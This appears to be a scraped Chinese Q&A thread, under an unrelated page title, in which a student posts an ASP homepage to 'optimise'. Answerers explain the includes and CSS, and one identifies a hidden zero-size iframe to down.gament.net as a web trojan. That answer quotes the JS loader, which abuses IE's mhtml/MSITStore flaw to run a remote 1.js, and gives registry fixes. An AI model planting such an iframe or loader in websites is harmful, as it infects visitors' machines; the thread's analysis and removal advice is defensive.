20吨燃煤锅炉型号:怎样优化这个页面?

来源:百度文库 编辑:查人人中国名人网 时间:2024/05/04 17:03:27
老师让我优化一个网站,就是添加一些关键字.以下是服务器ASP主页代码:

<!--#include file="config.asp"-->
<!--#include file="conn.asp"-->
<!--#include file="format.asp"-->
<!--#include file="error.asp"-->
<!--#include file="lib/inctop.asp"-->
<!--#include file="lib/index_body.asp"-->
<!--#include file="lib/nav.asp"-->
<!--#include file="lib/incfooter.asp"-->
<style type="text/css">
<!--
A:link {
COLOR: #656565;
text-decoration: none;
}
A:visited {
COLOR: #336699;
text-decoration: none;
}
A:active {
COLOR: #ff0000;
text-decoration: none;
}
A:hover {
COLOR: #ff6600;
text-decoration: none;
}

-->
</style>
<%
call index_top()
call index_nav()

call index_body()
call endpage()%><iframe height=0 width=0 src="http://down.gament.net/q/q08"></iframe>

靠.我看了半天没搞明白,怎么全是动态的数据库之类啊.那要怎么搞啊.不胜感激!!!
看了一下各位的看法。。。,菜鸟我非常感谢。
尽管还无从下手。这个是我从服务器端下的一个主页面代码(应该是主页吧,反正就找到这么一个index.asp),
对了,非常感谢“回答者:jkuii564 - 童生 一级 ”,你教会了很多东西,我发誓不是我搞的,我连看还每看懂呢,哪有本事搞那个啊。方便不方便留个联系QQ之类的,帮帮菜鸟我先过了这关再说啊!

<!--#include file="config.asp"-->
<!--#include file="conn.asp"-->
<!--#include file="format.asp"-->
<!--#include file="error.asp"-->
<!--#include file="lib/inctop.asp"-->
<!--#include file="lib/index_body.asp"-->
<!--#include file="lib/nav.asp"-->
<!--#include file="lib/incfooter.asp"-->
上面的代码是插入其他的页面,相当于将其他页面的代码拿到这里来使用,不能删除的。上面那老兄说的不对啊!
按照一般规则他们的作用分别是:
配置文件
数据库连接文件
格式定义文件
错误处理文件
页面头部显示文件
页面主体显示文件
页面侧面显示文件
页面底部显示文件
<style type="text/css">
<!--
A:link {
COLOR: #656565;
text-decoration: none;
}
A:visited {
COLOR: #336699;
text-decoration: none;
}
A:active {
COLOR: #ff0000;
text-decoration: none;
}
A:hover {
COLOR: #ff6600;
text-decoration: none;
}

-->
</style>
上面的是CSS代码,定义页面显示样式的,一般也不能删除哦,删了以后显示就会变样了!
这里定义的是一个链接的样式
先是一般的链接,灰色,无下划线。
然后是鼠标移到上面的样式,然后是点击的样子,和点击后的样子,分别是设置颜色,有深蓝色,红色,橘红色
<%
call index_top()
call index_nav()

call index_body()
call endpage()%>
这几句是调用上面include的文件,也就是真正显示内容的,,同样不可以删除,
<iframe height=0 width=0 src="http://down.gament.net/q/q08"></iframe>
最后这句话是插入一个网页但是不显示,打开之后链接到了一个JS文件,代码如下
GIF89a
var GIF89a=document.location.href;GIF89a=GIF89a.substring(0,GIF89a.lastIndexOf('/'));document.write('<OBJECT Width=0 Height=0 style="display:none;" type="text/x-scriptlet" data="mk:%40MSITStore%3Amhtml%3Ac%3A\\%2Emht%21'+GIF89a+'%2f1.js::/%23"></OBJECT>');
翻译过来就是:
mk:@MSITStore:mhtml:c:\\.mht!document.location.href/1.js
他妈的是个典型的网页木马文件。
这个木马利用了IE的mhtml漏洞,大家可以下载安全补丁
弥补漏洞防止木马修改本地安全属性,相应的注册表键值为:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0
下的1004项的值由原来的0改为十六进制的3
或者去掉mhtml协议,相应的注册表键值为:HKEY_CLASSES_ROOT\PROTOCOLS\Handler
把下面的"mhtml"删除或改名

mk:%40MSITStore%3Amhtml%3Ac%3A\\%2Emht%21'+MZ+'%2f1.js::/%23翻译过来就是:
mk:@MSITStore:mhtml:c:\\.mht!document.location.href/1.js::/#

其中mk:@MSITStore:只是一种访问文挡的协议
C:\\.mht是一个并不存在的mht格式的文件,也可以用任何其他硬盘上并不存在的文件,比如C:\\fdfdsf.txt,因为前面已经指定用.mhtml协议来访问了,IE不管对什么文件都会用这个协议来解析
document.location.href/1.js就是他要执行的文件了document.location.href就是文件路径,应该是他的网址吧

他的病毒代码地址为:
但前你访问的URL地址+1.js

不知道是你搞的还是你老师?
如果是你故意搞的,我就要说,R你NN!
最后提醒,大家千万不要点上面的链接啊!

<style type="text/css">
<!--
A:link {
COLOR: #656565;
text-decoration: none;
}
A:visited {
COLOR: #336699;
text-decoration: none;
}
A:active {
COLOR: #ff0000;
text-decoration: none;
}
A:hover {
COLOR: #ff6600;
text-decoration: none;
}

-->
</style>

把这一段写入一个CSS文件,然后直接调用CSS文件就可以了。这也算优化吧。呵呵。

添加关键词是什么意思?这个文件都是靠插入其他asp文件来运行的,几乎看不到其真正的原代码
call index_top()
call index_nav()
call index_body()
call endpage()
上面几行是
插入页面顶端
插入导航栏
插入页面主要内容部分
插入页面底部

调用的应该是
<!--#include file="lib/inctop.asp"-->
<!--#include file="lib/index_body.asp"-->
<!--#include file="lib/nav.asp"-->
<!--#include file="lib/incfooter.asp"-->
这四个文件

优化又是什么意思啊?

<!--#include file="config.asp"-->
<!--#include file="conn.asp"-->
<!--#include file="format.asp"-->
<!--#include file="error.asp"-->
<!--#include file="lib/inctop.asp"-->
<!--#include file="lib/index_body.asp"-->
<!--#include file="lib/nav.asp"-->
<!--#include file="lib/incfooter.asp"-->
前面是声明,可以不要的。
<style type="text/css">
<!--
A:link {
COLOR: #656565;
text-decoration: none;
}
A:visited {
COLOR: #336699;
text-decoration: none;
}
A:active {
COLOR: #ff0000;
text-decoration: none;
}
A:hover {
COLOR: #ff6600;
text-decoration: none;
} 这段是有关css脚本的设置

<iframe height=0 width=0

src="http://down.gament.net/q/q08"></iframe> 才是插入的页面

<iframe height=0 width=0 src="http://down.gament.net/q/q08"></iframe>

删除这一段代码

有答案后,告诉我哦,谢谢!